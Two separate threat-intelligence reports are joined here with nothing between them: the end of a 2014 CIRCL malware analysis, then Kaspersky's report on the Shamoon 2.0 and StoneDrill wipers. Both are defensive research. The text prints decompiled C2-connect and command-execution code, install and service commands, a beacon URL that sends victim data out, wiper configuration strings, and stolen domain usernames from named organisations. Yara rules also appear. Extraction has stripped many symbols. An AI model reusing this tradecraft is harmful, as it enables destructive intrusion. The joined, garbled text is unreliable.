c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 18 RegCloseKey(hKey) 19 else 20 RegCloseKey(hKey) 21 22 return r e su l t 23 5.3 evaluate commands (extract) and error handling 1 i f (  lstrcmpA(thiscommand, pwd) ) 2 3 retreturn  127 4 i f (  GetCurrentDirectoryA(0x400u , retmessage ) ) 5 6 thiscommand  GetLastError () 7 FormatMessageA(0x1000u , 0 , thiscommand, 0 , retmessage , 0x400u , 0) 8 9 retlen  lstr lenA(retmessage )  1 10 5.4 Internet connect 1 signed int __thiscall internet_connect ( struct_this_7 this ) 2 3 buf fer  10000 4 i f ( ur l [ 0 ]      ur l [ 1 ]   .
) 5 lstrcpyA(host , news .
grouptumbler .
com) 6 else 7 wnsprintfA(host , 256 , xs , thispath , 0x409001 ) 8 use_proxy  0 9 buf fer  3 10 thishInternetOpen  InternetOpenA(Mozil la /4.0  , 0 , 0 , 0 , 0) 11 i f ( thishInternetOpen ) 12 13 i f ( use_proxy ) 14 15 success_setoption  InternetSetOptionA ( thishInternetOpen , INTERNET_OPTION_PROXY , buffer , 12) 16 i f (  success_setoption ) 17 18 InternetCloseHandle ( thishInternetOpen ) 19 return 0 20 21 22 InternetSetOptionA ( thishInternetOpen , INTERNET_OPTION_CONNECT_TIMEOUT, buffer , 4) 23 InternetSetOptionA ( thishInternetOpen , INTERNET_OPTION_RECEIVE_TIMEOUT, buffer , 4) 24 success_setoption  InternetSetOptionA ( thishInternetOpen , INTERNET_OPTION_CONTROL_SEND_TIMEOUT, buffer , 4) 25 LOWORD( success_setoption )  port 26 thishSession  InternetConnectA ( thishInternetOpen , host , success_setoption , 0 , 0 , INTERNET_SERVICE_HTTP, 0 , 0) 27 i f ( thishSession ) 28 return 1 29 InternetCloseHandle ( thishInternetOpen ) 30 Page 9 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 31 return 0 32 5.5 Create process calls Command exec - standard process creation: 1 hProcess  CreateProcessA ( 2 0 , thiscmdline , 0 , 0 , 3 1 , 0x14u , 0 , 0 , 4 thisstartupinfo_a , thisprocess_information ) Command exeu - process creation in a domain environment 1 hProcess  CreateProcessWithLogonW( 2 Username , Domain , lpPassword , 0 , 3 0 , CommandLine , 4u , 0 , CurrentDirectory , 4 thisstartupinfo_b , thisprocess_information ) 6 Related indicators information 6.1 Network infrastructure The domain news.grouptumbler.com is currently resolving to 173.194.70.101 1 f i r s t seen 20130303 01:57:37 0000 2 l a s t seen 20130306 23:34:47 0000 3 news .
grouptumbler .
com.
A 173.194.70.101 Before that date, the IP was 200.63.46.33 1 f i r s t seen 20120314 14:21:10 0000 2 l a s t seen 20130226 22:04:07 0000 3 news .
grouptumbler .
com.
A 200.63.46 .23 The IP 200.63.46.33 was hosting the following domains: 1 dvdform .com.
A 200.63.46 .23 2 www.
dvdform .com.
A 200.63.46.23 3 www.
p90xprice .
com.
A 200.63.46.23 4 dexterseason .com.
A 200.63.46.23 5 www.
dexterseason .com.
A 200.63.46.23 6 news .
grouptumbler .
com.
A 200.63.46 .23 7 www.
babylearningdvd .com.
A 200.63.46.23 8 turbofirecoupon .com.
A 200.63.46.23 9 www.
turbofirecoupon .com.
A 200.63.46.23 10 smal lv i l l edvdset .
com.
A 200.63.46.23 11 www.
smal lv i l l edvdset .
com.
A 200.63.46.23 12 miamivicedvdboxset .
com.
A 200.63.46.23 13 www.
miamivicedvdboxset .
com.
A 200.63.46.23 14 www.
sexandthecityondvd .com.
A 200.63.46.23 15 www.
sherlockholmesondvd .com.
A 200.63.46.23 16 t r x f o r c ek i t o r i g i n a l .
com.
A 200.63.46 .23 17 www.
t r x f o r c ek i t o r i g i n a l .
com.
A 200.63.46.23 18 weddingdressestoday .com.
A 200.63.46.23 19 www.
maxheadroomdvdseries .
com.
A 200.63.46.23 Page 10 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 None, some or all domains in this list might be malicious as well.
The IP address 200.63.46.33 is currently anounced by Panamaserver.com 1 20120426 20130311 52284 200.63.46.0/24 2 http : //bgpranking .
c i r c l .
lu/asn_details?asn52284sourcedate The hosting company is not a known bulletproof hoster based on the BGP Ranking informa- tion4.
and was announced by two other ISPs before: 1 20110118 20120425 23520 200.63.46.0/24  Columbus network 2 20090601 20110117 27716 200.63.46.0/24  Advanced Communication Network , S .A.
WHOIS Panamaserver.com 1 inetnum : 200.63.40/21 2 status : a l located 3 autnum: N/A 4 owner : Panamaserver .
com 5 ownerid : PAPANA2LACNIC 6 respons ib le : Ch Group Corp .
7 address : Bel la Vista , El cangrejo , Calle 49 , 0 , 8 address : 00000  Panama 9 country : PA 10 phone : 507 263 3723 [ ] 11 ownerc : MAC30 12 techc : MAC30 13 abusec : MAC30 14 inetrev : 200.63.46/24 15 nserver : NS1.PANAMASERVER.COM 4http://bgpranking.circl.lu/asn_details?date2012-12-08asn52284 Page 11 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://bgpranking.circl.lu/asn_details?date2012-12-08asn52284 CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014CIRCL - Computer Incident Response Center Luxembourg July 3, 2014 16 nsstat : 20130311 AA 17 nslastaa : 20130311 18 created : 20080328 19 changed : 20080328 20 21 nichdl : MAC30 22 person : Manuel I .
Cabrera Ch.
23 email : ABUSEPANAMASERVER.COM 24 address : Bel la Vista Calle 39A y Ave Cuba, 0 , 25 address : 0000  Panama  PA 26 country : PA 27 phone : 507 8322443 [ ] 28 created : 20071004 29 changed : 20120311 Page 12 of 12 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu Scope of work Analyzed samples Limitations Sharing Executive summary Analysis Summary Techniques used Implemented commands Control IOC Network Registry Persistency Execution process Interesting code parts Init phase of Sample B Decrypt and setup registry keys evaluate commands (extract) and error handling Internet connect Create process calls Related indicators information Network infrastructure
FROM SHAMOON TO STONEDRILL Wipers attacking Saudi organizations and beyond Beginning in November 2016, Kaspersky Lab observed a new wave of wiper attacks directed at multiple targets in the Middle East.
The malware used in the new attacks was a variant of the infamous Shamoon worm that targeted Saudi Aramco and Rasgas back in 2012.
Dormant for four years, one of the most mysterious wipers in history has returned.
So far, we have observed three waves of attacks of the Shamoon 2.0 malware, activated on 17 November 2016, 29 November 2016 and 23 January 2017.
Also known as Disttrack, Shamoon is a highly destructive malware family that effectively wipes the victim machine.
A group known as the Cutting Sword of Justice took credit for the Saudi Aramco attack by posting a Pastebin message on the day of the attack (back in 2012), and justified the attack as a measure against the Saudi monarchy.
The Shamoon 2.0 attacks observed since November 2016 have targeted organizations in various critical and economic sectors in Saudi Arabia.
Just like the previous variant, the Shamoon 2.0 wiper aims for the mass destruction of systems inside targeted organizations.
The new attacks share many similarities with the 2012 wave, though featuring new tools and techniques.
During the first stage, the attackers obtain administrator credentials for the victims network.
Next, they build a custom wiper (Shamoon 2.0) which leverages these credentials to spread widely inside the organization.
Finally, on a predefined date, the wiper activates, rendering the victims machines completely inoperable.
It should be noted that the final stages of the attacks have their activity completely automated, without the need for communication with the command and control center.
While investigating the Shamoon 2.0 attacks, Kaspersky Lab also discovered a previously unknown wiper malware which appears to be targeting organizations in Saudi Arabia.
Were calling this new wiper StoneDrill.
StoneDrill has several style similarities to Shamoon, with multiple interesting factors and techniques to allow for the better evasion of detection.
In addition to suspected Saudi targets, one victim of StoneDrill was observed on the Kaspersky Security Network (KSN) in Europe.
This makes us believe the threat actor behind StoneDrill is expanding its wiping operations from the Middle East to Europe.
To summarize some of the characteristics of the new wiper attacks, for both Shamoon and StoneDrill: Shamoon 2.0 includes a fully functional ransomware module, in addition to its common wiping functionality.
Shamoon 2.0 has both 32-bit and 64-bit components.
The Shamoon samples we analyzed in January 2017 do not implement any command and control (CC) communication previous ones included a basic CC functionality that referenced local servers in the victims network.
StoneDrill makes heavy use of evasion techniques to avoid sandbox execution.
While Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections.
Of course, we do not exclude the possibility of false flags.
https://securelist.com/?sshamoon http://pastebin.com/HqAgaQRj StoneDrill does not use drivers during deployment (unlike Shamoon) but relies on memory injection of the wiping module into the victims preferred browser.
Several similarities exist between Shamoon and StoneDrill.
Multiple similarities were found between StoneDrill and previously analysed NewsBeef attacks.
What is new in this report?
This report provides new insights into the Shamoon 2.0 and StoneDrill attacks, including: 1.
The discovery techniques and strategies we used for Shamoon and StoneDrill.
2.
Details on the ransomware functionality found in Shamoon 2.0.
This functionality is currently inactive but could be used in future attacks.
3.
Details on the newly found StoneDrill functions, including its destructive capabilities (even with limited user privileges).
4.
Details on the similarities between malware styles and malware components source code found in Shamoon, StoneDrill and NewsBeef.
https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/ https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/ 1.
From Shamoon to StoneDrill: the discovery 1.1.
Shamoon: Its all about the resources Few people ever expected the return of Shamoon after four years of silence.
This made the news from the Middle East on 17 November 2016 quite surprising, and sent multiple shockwaves through the industry.
After the second wave of attacks, which took place on 29 November 2016, it became quite clear that Shamoon 2.0 was no longer an isolated incident, but part of a new series of attacks and we should expect more waves coming in.
In order to make sure that Kaspersky Lab customers were protected, we started to develop specific detection strategies and hunt for possible new variants.
To create the new detections, we used multiple ideas: The Shamoon wipers have their additional payloads stored as encrypted resources.
Just like in 2012, the early Shamoon 2.0 samples used resources with three very specific names - PKCS7, PKCS12 and X509.
Because of their uniqueness it was relatively easy to find and detect them just by the resource names and their high entropy.
Unfortunately, newer versions had random resource names like ICO, LANG and MENU, so the ability to easily find new samples was lost.
However, all programmers, especially malware writers, have their own habits, and the authors of Shamoon are no exception: Since the Shamoon 1.0 story, from 2012 (6dd571b84470ad9caad30a6a6acf491e) until 2016 (2cd0a5f1e9bcce6807e57ec8477d222a) many samples had one additional encrypted resource with a specific, although non-unique name 101.
This finding got us thinking that the Shamoon attackers can re-use this pattern and weve investigated ways of using this to hunt for new, unknown malware generations from their side.
As researchers, we tested a lot of different approaches to find similar malicious samples based on this artefact, and one of them worked unexpectedly.
Heres the logic we used to create the detection: 1.
We assumed that for the next waves of attack the authors would continue to recompile the Shamoon 2.0 version from 2016, while trying to avoid AV detection, so we focused mostly on the newest Shamoon versions.
2.
We assumed that the wiper would again enumerate all files inside folders, so it would still call Windows API functions FindFirstFile and FindNextFile.
3.
Because it uses encrypted resources, we assumed that it would find and load them with the Windows API functions FindResource and LoadResource.
4.
Inside all known versions of Shamoon 2.0, the resource 101  was found, with the following properties: Level of entropy  7.8 - that means the data inside is encrypted or compressed.
Size about 30 KB - weve decided to set the minimum limit at 20 KB.
Language  neutral (not set) all other resources had the languages Arabic (Yemen) or English United States.
Does not contain an unencrypted PE executable file inside.
After initial testing, we decided to add more search criteria to limit the number of possible false positive detections: Shamoon samples had no digital signature, so the sample would be unsigned.
All known Shamoon samples with resource 101 had a maximum file size of 370 KB, so its reasonable to limit the file size to twice that number - 700 KB.
The number of resources inside the sample should not be too high - less than 15.
Our favorite malware hunting tool, Yara, provides a rule-bused approach to create descriptions of malware families based on textual or binary patterns.
Heres the detection rule we wrote using all the above conditions: import pe import math rule susp_file_enumerator_with_encrypted_resource_101 meta: copyright  Kaspersky Lab description  Generic detection for samples that enumerate files with encrypted resource called 101 hash  2cd0a5f1e9bcce6807e57ec8477d222a hash  c843046e54b755ec63ccb09d0a689674 version  1.4 strings: mz  This program cannot be run in DOS mode.
a1  FindFirstFile ascii wide nocase a2  FindNextFile ascii wide nocase a3  FindResource ascii wide nocase a4  LoadResource ascii wide nocase condition: uint16(0)  0x5A4D and all of them and filesize  700000 and pe.number_of_sections  4 and pe.number_of_signatures  0 and pe.number_of_resources  1 and pe.number_of_resources  15 and for any i in (0..pe.number_of_resources - 1): ( (math.entropy(pe.resources[i].offset, pe.resources[i].length)  7.8) and pe.resources[i].id  101 and pe.resources[i].length  20000 and pe.resources[i].language  0 and not (mz in (pe.resources[i].offset..pe.resources[i].offset  pe.resources[i].length)) )  http://virustotal.github.io/yara/ While running the above Yara rule on Kaspersky Labs samples selection, we found an interesting, fresh sample.
After a quick analysis, we realized it was yet another wiper.
However, it was not Shamoon, but something different.
Weve decided to call it StoneDrill.
1.2.
From StoneDrill to NewsBeef Having identified the StoneDrill sample through the Yara technique above, we started looking for other possibly related samples.
One Yara technique that has proved useful in the past for finding new malware variants is the development of Yara rules for decrypted malware components.
During attacks, malware components can be changed to fit the attackers requirements, so hunting for decrypted malware code might help in finding new malware variants or even older samples.
With StoneDrill, we developed several Yara rules for the decrypted payloads.
Heres one of our Yara rules for a decrypted StoneDrill module: rule StoneDrill_main_sub meta: author      Kaspersky Lab description    Rule to detect StoneDrill (decrypted) samples hash         d01781f1246fd1b64e09170bd6600fe1 hash         ac3c25534c076623192b9381f926ba0d version     1.0 strings: code  B8 08 00 FE 7F FF 30 8F 44 24 ?
?
68 B4 0F 00 00 FF 15 ??
?? ?
?
00 B8 08 00 FE 7F FF 30 8F 44 24 ?
?
8B ?
?
24 [1 - 4] 2B ?
?
24 [6] F7 ?
1 [5 - 12] 00 condition: uint16(0)  0x5A4D and code  and filesize  5000000  Interestingly, this rule allowed us to find a new category of samples, which we previously connected with a threat actor named NewsBeef.
We wrote about NewsBeef roughly one year ago, in relation to another set of attacks against oil and energy companies from the Middle East.
Further analysis indicated the malware samples from StoneDrill and NewsBeef appear to be connected together through numerous internal similarities.
https://securelist.com/blog/software/74503/freezer-paper-around-free-meat/) The use of simple logic in conjunction with a knowledge of Yara can help attain a state-of-the-art outcome in malware hunting activity.
If you would like to learn more, you can join us for the Yara training Hunt APTs with Yara like a GReAT Ninja and the advanced Malware Reverse Engineering course on April 1-2, 2017 in St. Maarten.
Several private intelligence reports on Shamoon, StoneDrill and NewsBeef are available to subscribers of Kaspersky Labs Private Intelligence Reports.
For more information please contact: intelreportskaspersky.com https://sas.kaspersky.com/hunt-apts-with-yara-like-a-great-ninja https://sas.kaspersky.com/malware-reverse-engineering-course) https://sas.kaspersky.com/malware-reverse-engineering-course) https://usa.kaspersky.com/enterprise-security/apt-intelligence-reporting mailto:intelreportskaspersky.com 2.
Technical details - Shamoon 2.0 - language usage and possible Yemeni links Several good technical articles on Shamoon 2.0 have been published by some of our colleagues, including Palo Alto, IBM X-Force, Symantec and others.
Throughout this blog we describe some of the technical details of the new Shamoon 2.0 attacks and what are the most important things that make them stand out.
For the analysis we used the earliest set of samples, with a hardcoded attack date of 17 November 2016.
However, weve also included details from the newer samples, such as hardcoded credentials.
During deployment in the victims environment, the main Shamoon 2.0 wiper module is installed through a Windows Batch file with the following content: echo off set u100ntertmgr32.exe set u200service set u800dp0 copy /Y u800u100 systemroot\system32\u100 start /b systemroot\system32\u100 u200 Interestingly, the sample resources appear to have a language ID of Arabic (Yemen), suggesting the attackers might be from Yemen.
Of course, we should not disregard the possibility that the resource language could be a false flag planted there by the attackers.
2.1.
32-bit Shamoon dropper/worm (ntssrvr32.exe) SHA256 394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b MD5 5446f46d89124462ae7aca4fce420423 Compiled 2009.02.15 12:31:44 (GMT), VC 2010 Type I386 Console EXE Size 1 349 632 bytes http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ https://exchange.xforce.ibmcloud.com/collection/Spear-Phishing-Attacks-Preceding-Shamoon-Malware-Breakouts-eeed4eede51b9a4587f4c7c816ad6e4e https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon This executable is a worm designed to infect computers connected to a Windows domain.
To achieve this, it relies on a list of hardcoded, previously stolen username/password pairs belonging to administrators of the targeted domain.
All the strings in the malware are obfuscated with simple one byte ADD operations and are decrypted upon execution.
All the dropped files exhibit file times altered to match that of the systems kernel32.dll.
The module only works if it is run with exactly one command line parameter, regardless of the parameter.
Otherwise, it simply exits (likely a measure to avoid accidental execution).
The hardcoded credentials we have observed so far are: Domain name Username Domain name Username Domain name Username GACA gacaadmin15 CRISTALGLOBAL ckadmin SAICO administrator gacaadmin22  jaladmin  muneeb gacaadmin08 SADARA mukhsx01  beadmin Administrator  pgSCMADM        crmadmin ALAB.local admin  mnxxnadmin  tvcenter GNET and .
saud.a2  thirnx01  khaleel Habib1  pamadmin1  mhamdi sys  shokax00  mawale alqifaria  backupadmn  spadmin cloudsvc SIDF administrator SCSB qomari.a SIPA ucam01  shabbir  sts administrator  tsfarooq  aalshamari bbadmin  CLIUSR  nbu_service CUCMUser  administrator RIYADH faxserver UnityDirSvc  email4  citrbass UnityMsgStoreSvc YAMSTEEL Administrator 456 test456 TESTDOMAIN .COM test123  yidadm If the victim hosts system PROCESSOR_ARCHITECTURE environment variable is AMD64 or amd64, the module installs its 64-bit variant.
The variant is contained within a resource named X509.
The resource is de-XORed and dropped onto the system under: WindowsDir\system32\ntssrvr64.exe.
It is then installed as a service via the command: cmd.exe /c ping -n 30 127.0.0.1 nul  sc config NtsSrv binpath C:\WINDOWS\system32\ntssrvr64.exe LocalService  ping -n 10 127.0.0.1 nul  sc start NtsSrv 2.1.1.
Installation as a Service If the malware is running on a 32-bit system, this module installs itself as a service named NtsSrv: Name Display Name Description NtsSrv Microsoft Network Realtime Inspection Service Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols The service is set as dependent on the RpcSs system service.
The properties of the system service LanmanWorkstation are changed so that it depends on the newly created NtsSrv service to allow it to start after the malware.
2.1.2.
Worm Functionality Once this module runs (as a service), the worm-spreading functionality is started, targeting every network host within the IPv4 address range, with the same first three bytes of the victims IP and the last byte in the range from 0 to 255, thus operating inside subnet class C (a.b.c.0/24).
Heres how it works: 1.
The worm connects to a remote machines registry and disables Remote UAC by setting the LocalAccountTokenFilterPolicy registry key value to 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies \system.
2.
If the RemoteRegistry system service is disabled and doesnt run on the target system, the worm reconfigures this service to be auto-started and then starts it immediately.
If the connection to a remote registry is unsuccessful, the worm repeats the connection attempt with a hardcoded set of stolen domain administrator credentials.
The worm then searches for remote \windows\system32\csrss.exe files by prepending this path with the victim machines IP as well as system shares: ADMIN, C, D, E. 3.
Once a remote system32 folder is found, the worm copies itself into this folder under the name ntssrvr32.exe.
It schedules a remote job to run ntssrvr32.exe LocalService after 90 seconds.
4.
If the remote scheduler is inaccessible, the worm tries to set up NtsSrv and runs the service on the remote machine with the same parameters as it used for self-installation.
Attempts with stolen credentials are also performed.
5.
An alternative but similar infection method is coded into the worm, where each infection is performed in a separate thread without relying on the scheduler but it is not used at this time.
2.1.3.
Command and Control (CC) Module After replication, the malware runs a command-and-control communication module.
This module is contained within a resource named Pkcs7.
It is de-XORed and dropped as WindowsDir\system32\netinit.exe.
Using the hardcoded credentials, it creates a Windows Task Scheduler job that executes netinit.exe 90 seconds after creation.
It waits 95 seconds and then deletes the scheduled job.
2.1.4.
Wiper and Encryptor Module Finally, the malware drops the wiper/encryptor module.
This module first checks if its time to run the main payload.
The activation period can be set in two ways: 1.
It checks if the system time is not earlier than the time specified in the following file: windir\inf\usbvideo324.pnf 2.
If the file doesnt exist, it checks that the system time is not earlier than the hardcoded date: 20:45, 17 Nov 2016 At the specified time, the malware drops two files: The first file, c:\windows\temp\key8854321.pub is unused in this attack and contains a public encryption key.
This is an indicator that the attackers might be using Shamoon as a ransomware tool in upcoming waves.
-----BEGINPUBLICKEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAusZItknNNeVxjPzIZLyB5m6gaNREC6I3CZQ7F1vDU CaGki83s6JVDo2NGN70mhx4q5NJrgXDzD7McpxDoJsDkKwr5mm3yEs9vmZwHcEWcvU6QbJguFgPJk6zoatVq0 WsfIkN50ywQMVq2zmiJel2UoalPJzCWbAYG0BShXjnlcsfV8GcPWfNRCSGKVue3RE6cV5HlAjSD8VSk4KERPu Wfvbk/pP0qDE60Uc7K3Bl7uxbHVB2g8unuj8B9d81TKT0hForie8V2N4FT0bdAHUHU6LT/XtAdLCp9/cTUf8zk1MC oxXj6CSg9xKgGgnJazC/u3R0nm/pPriF/ZkwrVhJtDd/1nf4JC1sDmc3mgv0hI7hthffZkv75doHg67Gg6JOZQIMytQ eF8ylnUgC1ZyrAmaxN0OV69zhktzZISdmmkbtyZSHEZzIdC9PF/MJzCK5ylkEI2jQpAabgv34o2oZMJLSDZbNrXy9 0LUy8GjtzJYmv02MVLjy7CSgglIbulSgMP4QC/i1fTIPhlSlMyCKnGIKdKY31KFQnoOzI8kudeted8eF/ubpFcna0TDc EkDt8s4pN4/DsGQoncWg9HMyC8Q/MWIE/JuOCisovJ0PYq2aKetDNRMm7THcXalXKD9RpczObRWKGKzMJD onmBm2AETME74MRPmC/FWgsCAwEAAQ -----ENDPUBLICKEY----- The second file is dropped from a resource named PKCS12.
It is de-XORed and dropped into the system directory with a name randomly selected from the following list: caclsrv.exe dvdquery.exe msinit.exe sigver.exe wcscript.exe certutl.exe event.exe ntfrsutil.exe routeman.exe ntnw.exe clean.exe findfile.exe ntdsutl.exe rrasrv.exe netx.exe ctrl.exe gpget.exe power.exe sacses.exe fsutl.exe dfrag.exe ipsecure.exe rdsadmin.exe sfmsc.exe extract.exe dnslookup.exe iissrv.exe regsys.exe smbinit.exe The dropped payload is then scheduled to run in the same way as the CC communication module.
We describe it in detail below.
2.2.
64-bit Shamoon Dropper (ntssrvr64.exe) SHA256 47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34 MD5 8fbe990c2d493f58a2afa2b746e49c86 Compiled 2009.02.15 12:32:19 (GMT), VC 2010 Type AMD64 Console EXE Size 717 312 bytes This dropper has the same functionality as the 32-bit variant.
This version is contained within a resource named X509.
The resource is de-XORed and dropped onto the system under: WindowsDir\system32\ntssrvr64.exe.
2.2.1.
CC Communication Module (netinit.exe) SHA256 61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842 MD5 5bac4381c00044d7f4e4cbfd368ba03b Compiled 2009.02.15 12:29:20 (GMT), VC 2010 Type I386 Console EXE Size 159 744 bytes SHA256 772ceedbc2cacf7b16ae967de310350e42aa47e5cef19f4423220d41501d86a5 MD5 ac4d91e919a3ef210a59acab0dbb9ab5 Compiled 2009.02.15 12:29:41 (GMT), VC 2010 Type AMD64 Console EXE Size 183 808 bytes The strings in the CC module are obfuscated by simple ADD operations and are decrypted upon execution.
This module periodically connects to a CC with the following URL: hxxp://server/category/page.php?shinuw74K9/xQp1VjJfwwadq4HCl7VheuQXk49YnNkb XR0ghrH YIRFE51FQskZyajIPqo3VlOEpfvvgxvO26pZ3oA The strange server in the URL string suggests multiple possibilities: 1.
It is used by mistake.
2.
It may suggest a placeholder value that wasnt set for the purposes of this attack.
3.
A server with this name might be installed by the attackers somewhere inside the local network.
4.
The local network may rely on a now poisoned DNS server.
The string also contains the word shinu, which is quite interesting.
This is possibly a transliteration of the Gulf Arabic slang word  for what?.
This particular slang is used in several countries, notably Iraq, but also sometimes in Kuwait and Bahrain.
The shinu parameter string contains the following encoded information about the victim system: Host IP and MAC addresses Windows version information Windows input locale IDs (keyboard layouts) Number of connection attempts, or content of the WINDIR\inf\netimm173.pnf file if the file exists.
The netimm173.pnf file contains information about changes made by the wiper payload module.
If the direct connection fails, this module tries to connect using a hardcoded proxy server of 1.1.1.1:8080.
This supports the assumption that the malware deployed in this case does not include a working CC and the operators used a raw, unconfigured CC module.
Data received from the CC server is handled in two possible ways: 1.
An executable file is downloaded as TEMP\Temp\filerrndDigits.exe and executed immediately thereafter.
2.
A file is dropped in WINDIR\inf\usbvideo324.pnf that contains the wiper payloads activation time.
This effectively allows the attackers to configure the wiper time bomb.
2.2.2.
Disk Wiper/Encryptor Module SHA256 128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd MD5 2cd0a5f1e9bcce6807e57ec8477d222a Compiled 2009.02.15 12:30:19 (GMT), VC 2010 Type I386 Console EXE Size 282 112 bytes SHA256 c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a MD5 c843046e54b755ec63ccb09d0a689674 Compiled 2009.02.15 12:30:41 (GMT), VC 2010 Type AMD64 Console EXE Size 327 680 bytes Despite the widespread coverage of the resurgence of the Shamoon wiper, few have noted the new ransomware functionality.
The wiper module of Shamoon 2.0 has been designed to run as either a wiper or an encryptor (ransomware).
1.
The module is configured to wipe the disk using the Death of Alan Kurdi photo.
The picture depicts a three-year-old Syrian refugee who drowned as his family attempted to reach Europe and travel on to Canada.
The module can also be configured to wipe the disk using random data.
2.
In the encryption/ransomware mode, a weak pseudo-random RC4 key is generated, which is further encrypted by the RSA public key and stored directly on the hard drive (at \Device\Harddisk0\Partition0) starting at offset 0x201, right after the master boot record.
3.
Once the module is extracted, it drops a legitimate driver named DRDISK.SYS to the disk and starts it.
This driver is used for low-level disk operations and is well known from https://en.wikipedia.org/wiki/Death_of_Alan_Kurdi previous Shamoon attacks.
Before accessing this driver, the system date is changed to a random day between the 1st and 20th of August, 2012 to fool the drivers license checks and evaluation period.
4.
The payload employs the file WINDIR\inf\netimm173.pnf to keep track of the operations performed.
The content of this file is sent to the CC server by the communication module.
5.
The strings in this module are also obfuscated by simple ADD operations and decrypted at start.
2.2.3.
Payload Configuration There are two 25-byte length configuration strings in the wiper payload: SPPPPPPPPPMPPHHHHHHHHHHBO NNNNNNNNNNWNNNNNNNNNNNWWW Letters in the first string specify a type of operation to be performed, with the available operations explained below.
The second string designates how these operations should be performed: the letter N means that the operation will be executed synchronously in separate threads, the letter W means the operation will wait until a previous step is completed.
Heres an explanation of the configuration string above: Letter Operation S The first operation, marked by the letter S wipes (or encrypts) the content of the Shamoon 2.0 components (netinit.exe, ntssrvr32.exe, and wiper module itself).
Using the low-level disk access driver makes it possible to wipe the body of a running executable.
P The next 9 P letters indicate wiping (or encrypting) of the files placed inside the traditional user folders: desktop, download, document, desktop, download, document, picture, video, and music.
M The M wipes (or encrypts) the NTFS MFT data on all accessible drives mapped from A: to Z:, except the system drive.
P The next two P letters wipe (or encrypt) files inside the following folders: C:\Windows\System32\Drivers and C:\Windows\System32\Config\systemprofile H The 10 H letters wipe (or encrypt) some of the partitions from 9 to 0 on hard disks 9-0 (SystemBoot and FirmwareBootDevice partitions and partition 0 on the system drive are skipped in this step) B The B letter wipes (or encrypts) part of the partition designated as FirmwareBootDevice O The final O wipes (or encrypts) the Master File Table on the system drive, the first sector of \Device\Harddisk0\Partition0, and the last part of the SystemBootDevice partition.
Two minutes after all tasks are completed, the system is rebooted with the following command: shutdown -r -f -t 2.
2.2.4.
Low-Level Disk Access Driver (DRDISK.SYS) SHA256 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6 MD5 1493d342e7a36553c56b2adea150949e Compiled 2011.12.28 16:51:24 (GMT), VC 2005 Type I386 Native Size 27 280 bytes SHA256 eaee62a8238189e8607b24c463a84c83c2331a43b034484972e4b302bd3634d9 MD5 42f883d029b47f9d490a427091da3f5d Compiled 2011.12.28 16:51:29 (GMT), VC 2005 Type AMD64 Native Size 31 998 bytes These signed legitimate drivers form part of the EldoS RawDisk product.
This product is designed to provide direct access to disks and protected files from user-mode applications.
Sadly, this functionality has been adopted and abused by multiple threat actors to develop wiper malware, as in the case of the original Shamoon or the Lazarus Destover malware used in the infamous Sony Pictures Entertainment attack of 2014.
In order to bypass the EldoS RawDisk drivers evaluation period license checks, the Shamoon 2.0 malware changes the system date to a random day between the 1st and 20th of August, 2012.
2.3.
From Shamoon 2.0 to StoneDrill 1.0 StoneDrill has some style similarities to the previously discovered Shamoon samples.
Particularly interesting is the heavy use of anti-emulation techniques in the malware, which prevents the automated analysis by emulators or sandboxes.
One of the most interesting characteristics is the presence of the Persian language in multiple resource sections.
https://www.eldos.com/ https://securelist.com/blog/incidents/34088/what-was-that-wiper-thing-48/ https://securelist.com/blog/research/67985/destover/ Samples of the StoneDrill malware were uploaded multiple times to multiscanner systems from Saudi Arabia between 27 and 30 November 2016.
One StoneDrill victim was also observed in the Kaspersky Security Network (KSN) in Europe.
2.4.
The StoneDrill wiper SHA256 62aabce7a5741a9270cddac49cd1d715305c1d0505e620bbeaec6ff9b6fd0260 MD5 0ccc9ec82f1d44c243329014b82d3125 Compiled 1999.02.08 06:15:47 (GMT) fake, VC 2015 Type I386 GUI EXE Size 195072 bytes The malware PE file timestamp is fake however, the authors forgot to alter a timestamp inside the debug directory.
The real timestamp from the debug directory points to: 2016.11.14 21:16:45 1.
The module highlighted above starts from a heavy anti-emulation function that contains numerous WinAPI calls with invalid parameters.
